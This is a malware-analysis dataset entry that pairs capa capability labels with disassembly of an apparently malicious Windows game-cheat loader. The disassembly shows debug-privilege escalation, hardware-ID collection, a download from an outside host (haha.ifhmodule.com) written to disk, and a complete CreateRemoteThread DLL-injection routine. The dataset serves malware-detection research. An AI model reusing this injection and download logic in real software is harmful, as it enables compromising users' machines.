joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4021f0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x402245
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x402256
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x18]
push 0
push eax
mov dword [ebp - 0x14], 1
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret

Function at 0x402460
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1118
call fcn.0041c820
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
lea eax, [ebp - 0x1110]
push eax
push 0x1000
lea ecx, [ebp - 0x1108]
xor edi, edi
push ecx
mov dword [ebp - 0x110c], edi
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x4024ac
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
test dword [ebp - 0x1110], 0xfffffffc
jbe 0x402581
push ebx
mov ebx, dword [sym.imp.PSAPI.DLL_GetModuleBaseNameA]
push esi
jmp 0x4024d0
mov eax, dword [ebp + edi*4 - 0x1108]
test eax, eax
je 0x40256d
push eax
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40256d
lea edx, [ebp - 0x1118]
push edx
push 4
lea eax, [ebp - 0x1114]
push eax
push esi
call dword [sym.imp.PSAPI.DLL_EnumProcessModules]
test eax, eax
je 0x40256d
mov edx, dword [ebp - 0x1114]
push 0x104
lea ecx, [ebp - 0x108]
push ecx
push edx
push esi
call ebx
mov ecx, 0x427738
lea eax, [ebp - 0x108]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402550
test dl, dl
je 0x40254c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402550
add eax, 2
add ecx, 2
test dl, dl
jne 0x402530
xor eax, eax
jmp 0x402555
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402566
mov eax, dword [ebp + edi*4 - 0x1108]
mov dword [ebp - 0x110c], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x1110]
inc edi
shr ecx, 2
cmp edi, ecx
jb 0x4024d0
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x110c]
xor ecx, ebp
pop edi
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
Function at 0x4025a0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x248
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
push esi
lea eax, [ebp - 0x108]
push str._s.
push eax
call fcn.0040bd2d
add esp, 0xc
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
mov edi, eax
lea eax, [ebp - 0x21c]
push eax
push esi
lea ecx, [ebp - 0x108]
push str._s_s
push ecx
call fcn.0040bd2d
lea edx, [ebp - 0x108]
push edx
call fcn.0040cdce
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
push edi
call ebx
test eax, eax
jne 0x4025e6
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
Function at 0x404220
Capabilities:
Create process on windows
Delete file
Get disk information
Get hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42346b
mov eax, dword fs:[0]
push eax
sub esp, 0x618
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.C:HWID.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 0xff
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x61c], eax
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x404399
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x620]
push edx
push 0
push 0
push 0x4275c4
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
je 0x404399
lea eax, [ebp - 0x61c]
push eax
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x404399
lea edi, [ebp - 0x110]
call fcn.00402c30
lea edi, [ebp - 0x210]
mov esi, eax
call fcn.00402c30
mov edx, dword [ebp - 0x620]
add eax, esi
lea eax, [eax + edx + 0x1f3a7]
push eax
lea eax, [ebp - 0x5f8]
push 0x427770
push eax
call fcn.0040bd2d
sub esp, 0x10
mov ecx, esp
lea eax, [ebp - 0x5f8]
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
mov dword [ebp - 0x624], esp
mov byte [ecx], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404325
sub eax, esi
push eax
lea edx, [ebp - 0x5f8]
push edx
call fcn.00401640
lea ecx, [ebp - 0x614]
call fcn.00409100
add esp, 0x1c
mov esi, 0x10
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], esi
jb 0x40435c
mov eax, dword [eax]
push eax
push str.Connection_Failure..._nTelah_terjadi_kesalahan___Mungkin_:_n___Server_down_n___Cheat_disuspend_n___Anda_belum_terdaftar._n___Durasi_Anda_telah_habis._n___Hubungi_Seller_Anda_untuk_info_lebih_lanjut___n___Terima_Kasih____n_n_nYour_HWID_:__s
call fcn.004026e0
add esp, 8
cmp dword [ebp - 0x600], esi
jb 0x404381
mov eax, dword [ebp - 0x614]
push eax
call fcn.0040bc51
add esp, 4
push 1
push 0
push 0
push str.C:HWID.txt
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
Function at 0x4043c0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor edi, edi
push 0x3ff
lea eax, [ebp - 0x403]
push edi
push eax
mov dword [ebp - 0x40c], edi
mov dword [ebp - 0x408], edi
mov dword [ebp - 0x410], edi
mov byte [ebp - 0x404], 0
call fcn.00414470
add esp, 0xc
push edi
push edi
push edi
push edi
push str.Mozilla_5.0__Windows_NT_6.3__
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebx, eax
mov dword [ebp - 0x414], ebx
cmp ebx, edi
je 0x4044ec
push esi
push edi
push 0x80000000
push edi
push edi
push str.http:__haha.ifhmodule.com_PointB_Golden_dll.php
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
cmp esi, edi
je 0x4044e4
push edi
push 0x80
push 2
push edi
push edi
push 0x40000000
push str.C:CB.CBM
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4044d7
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [ebp - 0x408]
push ecx
push 0x400
lea edx, [ebp - 0x404]
push edx
push esi
call ebx
test eax, eax
je 0x4044c0
mov eax, dword [ebp - 0x408]
test eax, eax
je 0x4044c0
push 0
lea ecx, [ebp - 0x410]
push ecx
push eax
lea edx, [ebp - 0x404]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x408]
push eax
push 0x400
lea ecx, [ebp - 0x404]
push ecx
push esi
call ebx
test eax, eax
jne 0x404484
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x414]
mov dword [ebp - 0x40c], 1
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edi, dword [ebp - 0x40c]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov ecx, dword [ebp - 4]
mov eax, edi
pop edi
xor ecx, ebp
pop ebx
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
Function at 0x404500
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push 0
mov esi, ecx
lea ecx, [ebp - 0x108]
push ecx
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
jne 0x404550
push str.An_error_is_occured_when_trying_to_get_the_full_path_of_the_DLL._n
call fcn.0040ce39
add esp, 4
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
push edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, 0xffffffff
jne 0x404585
push str.An_error_is_occured_when_trying_to_open_the_target_process._n
call fcn.0040ce39
add esp, 4
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
push ebx
push str._PROCESS_INJECTION__n
call fcn.0040ce39
push str.Process_opened_successfully._n
call fcn.0040ce39
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 8
push 0x40
push 0x3000
lea edx, [ebp - 0x108]
push edx
call ebx
inc eax
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test esi, esi
jne 0x4045e4
push str.An_error_is_occured_when_trying_to_allocate_memory_in_the_target_process._n
call fcn.0040ce39
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
push esi
push str.Memory_allocate_at_0x_X_n
call fcn.0040ce39
add esp, 8
push 0
lea eax, [ebp - 0x108]
push eax
call ebx
inc eax
push eax
lea ecx, [ebp - 0x108]
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x404619
push str.An_error_is_occured_when_trying_to_write_the_DLL_path_in_the_target_process._n
jmp 0x4045c9
push str.DLL_path_writen_successfully._n
call fcn.0040ce39
add esp, 4
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0xffffffff
je 0x4045d1
test eax, eax
je 0x4045d1
push str.LoadLibraryA
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x404656
push str.An_error_is_occured_when_trying_to_get__LoadLibraryA__address._n
jmp 0x4045c9
push ebx
push str.LoadLibraryA_address_at_0x_X_n
call fcn.0040ce39
add esp, 8
push 0
push 0
push esi
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp eax, 0xffffffff
jne 0x404684
push str.An_error_is_occured_when_trying_to_create_the_thread_in_the_target_process._n
jmp 0x4045c9
push str.DLL_Injected___n
call fcn.0040ce39
mov ecx, dword [ebp - 4]
add esp, 4
pop ebx
pop edi
xor ecx, ebp
pop esi
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
Function at 0x407040
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422cf8
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x4071ee
cmp byte [ebx + 0x49], 0
je 0x4071ee
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x4071e2
mov ecx, 0xf
xor eax, eax
mov byte [ebp - 0x2c], 0
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x1c], 8
cmp ecx, 0x10
jae 0x4070b5
lea eax, [ebp - 0x2c]
mov byte [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x4070d2
lea edx, [ebp - 0x2c]
mov eax, edx
add edx, dword [ebp - 0x1c]
mov ecx, dword [ebx + 0x44]
mov esi, dword [ecx]
lea edi, [ebp - 0x30]
push edi
push edx
push eax
lea eax, [ebx + 0x4c]
push eax
mov eax, dword [esi + 0x18]
call eax
sub eax, 0
je 0x407109
dec eax
je 0x40710d
sub eax, 2
lea ecx, [ebp - 0x2c]
je 0x4071e9
call fcn.00401390
xor al, al
jmp 0x4071f0
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40711d
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x40714a
cmp edi, 0x10
jae 0x40712c
lea eax, [ebp - 0x2c]
mov ecx, dword [ebx + 0x54]
push ecx
push esi
push 1
push eax
call fcn.0040d369
add esp, 0x10
cmp esi, eax
jne 0x4071da
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x4071e6
test esi, esi
jne 0x4070c6
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40720b
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40720b
cmp edi, esi
jae 0x4071c3
push ecx
push esi
lea ecx, [ebp - 0x2c]
call fcn.00401830
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x4070c6
mov ecx, eax
cmp edi, 0x10
jae 0x40719f
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x4071ba
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x4070c0
test esi, esi
jne 0x407195
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x4071d2
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x4070c0
lea ecx, [ebp - 0x2c]
call fcn.00401390
xor al, al
jmp 0x4071f0
lea ecx, [ebp - 0x2c]
call fcn.00401390
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret
push str.string_too_long
call fcn.0040a808
int3
Function at 0x407500
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422b2b
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x42b6d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea ecx, [esi + 4]
mov dword [esi], vtable.std::basic_streambuf_char__struct_std::char_traits_char__.0
call fcn.0040ae59
push 4
mov dword [ebp - 4], 0
call fcn.0040bcad
mov edi, eax
add esp, 4
test edi, edi
je 0x40757c
call fcn.0040ad31
mov dword [edi], eax
call fcn.0040aaf0
push 0
lea ecx, [ebp - 0x10]
mov ebx, eax
call fcn.0040ae1a
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x407572
inc eax
mov dword [ebx + 4], eax
lea ecx, [ebp - 0x10]
call fcn.0040ae42
jmp 0x40757e
xor edi, edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
mov dword [esi + 0x38], edi
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x409100
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x422ef8
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov ebx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x409165
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.00408ec0
mov ecx, esi
call fcn.00408f70
mov eax, esi
push eax
call fcn.00409050
cmp dword [ebp + 0x1c], 0x10
jb 0x409192
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040bc51
add esp, 4
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040b2e2
mov esp, ebp
pop ebp
ret

Function at 0x40b2e2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b6d0]
jne 0x40b2ec
repz ret
jmp fcn.00410f3e
Function at 0x415b6c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x415b93
call fcn.0040e10b
mov dword [eax], esi
call fcn.0040e0f8
push 0x16
pop esi
mov dword [eax], esi
call fcn.004132f9
mov eax, esi
jmp 0x415be8
test dword [ebp + 0xc], 0xfffffff9
jne 0x415b79
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x415bc0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0040e11e
pop ecx
call fcn.0040e0f8
mov eax, dword [eax]
jmp 0x415be8
test al, 0x10
jne 0x415be6
test al, 1
je 0x415be6
test byte [ebp + 0xc], 2
je 0x415be6
call fcn.0040e10b
mov dword [eax], 5
call fcn.0040e0f8
mov dword [eax], 0xd
jmp 0x415bb7
xor eax, eax
pop esi
pop ebp
ret

Function at 0x416dc8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00411bd3
and dword [ebp - 0x14], 0
cmp dword [0x42d9b0], 0
mov dword [ebp - 0x18], eax
jne 0x416e7b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x416f23
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x416f23
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42d9b0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42d9b4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42d9b8], eax
call edi
push eax
call esi
mov dword [0x42d9c0], eax
test eax, eax
je 0x416e7b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42d9bc], eax
mov eax, dword [0x42d9bc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x416ed4
cmp dword [0x42d9c0], ecx
je 0x416ed4
push eax
call esi
push dword [0x42d9c0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x416ed4
test ebx, ebx
je 0x416ed4
call edi
test eax, eax
je 0x416ecb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x416ecb
test byte [ebp - 8], 1
jne 0x416ed4
or dword [ebp + 0x10], 0x200000
jmp 0x416f07
mov eax, dword [0x42d9b4]
cmp eax, dword [ebp - 0x18]
je 0x416f07
push eax
call esi
test eax, eax
je 0x416f07
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x416f07
mov eax, dword [0x42d9b8]
cmp eax, dword [ebp - 0x18]
je 0x416f07
push eax
call esi
test eax, eax
je 0x416f07
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42d9b0]
call esi
test eax, eax
je 0x416f23
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x416f25
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b2e2
leave
ret
Function at 0x461037
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x476dec]
jne 0x461041
repz ret
jmp fcn.00464809

Function at 0x461558
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.00455898
xor ebx, ebx
cmp dword [0x479228], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x46162e
push 0x46b4d0
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x46170e
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x46b4c4
push edi
call esi
cmp eax, ebx
je 0x46170e
push eax
call fcn.0045582a
mov dword [esp], 0x46b4b4
push edi
mov dword [0x479228], eax
call esi
push eax
call fcn.0045582a
mov dword [esp], 0x46b4a0
push edi
mov dword [0x47922c], eax
call esi
push eax
call fcn.0045582a
mov dword [0x479230], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0044fa96
test eax, eax
pop ecx
pop ecx
je 0x4615fc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00455e21
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x46162e
push 0x46b484
push edi
call esi
push eax
call fcn.0045582a
cmp eax, ebx
pop ecx
mov dword [0x479238], eax
je 0x46162e
push 0x46c178
push edi
call esi
push eax
call fcn.0045582a
pop ecx
mov dword [0x479234], eax
mov eax, dword [0x479234]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4616b3
cmp dword [0x479238], ecx
je 0x4616b3
push eax
call fcn.004558a1
push dword [0x479238]
mov esi, eax
call fcn.004558a1
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4616b3
cmp edi, ebx
je 0x4616b3
call esi
cmp eax, ebx
je 0x461680
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x461680
test byte [ebp - 0x18], 1
jne 0x4616b3
lea eax, [ebp - 0x10]
push eax
call fcn.0044facd
test eax, eax
pop ecx
je 0x46169b
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00455e21
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4616aa
or dword [ebp + 0x10], 0x200000
jmp 0x4616ee
or dword [ebp + 0x10], 0x40000
jmp 0x4616ee
mov eax, dword [0x47922c]
cmp eax, dword [ebp - 8]
je 0x4616ee
push eax
call fcn.004558a1
cmp eax, ebx
pop ecx
je 0x4616ee
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4616ee
mov eax, dword [0x479230]
cmp eax, dword [ebp - 8]
je 0x4616ee
push eax
call fcn.004558a1
cmp eax, ebx
pop ecx
je 0x4616ee
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x479228]
call fcn.004558a1
cmp eax, ebx
pop ecx
je 0x46170e
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x461710
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x5a66c4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
shr di, cl
bts bp, 9
xor esi, 0x9e3d90af
bswap ebp
bt di, bp
lea ebp, [esp + 0x28]
stc
sub esp, 0x98
call fcn.005a6267
neg ax
and al, 0x20
add al, 0x78
mov eax, dword [esi]
pushal
bt ax, 1
sub eax, ebx
cmp ah, 0x8c
bt si, 3
push 0x30b565ce
cmp eax, ecx
bswap eax
push 0x67cad596
sub esi, 0xfffffffc
test esp, ebx
not eax
stc
sub eax, 0x1c8dc006
mov byte [esp + 8], bh
mov dword [esp], edx
bt dx, si
test si, sp
sub ebx, eax
clc
sub ebp, 4
mov byte [esp], bh
call fcn.005a4d63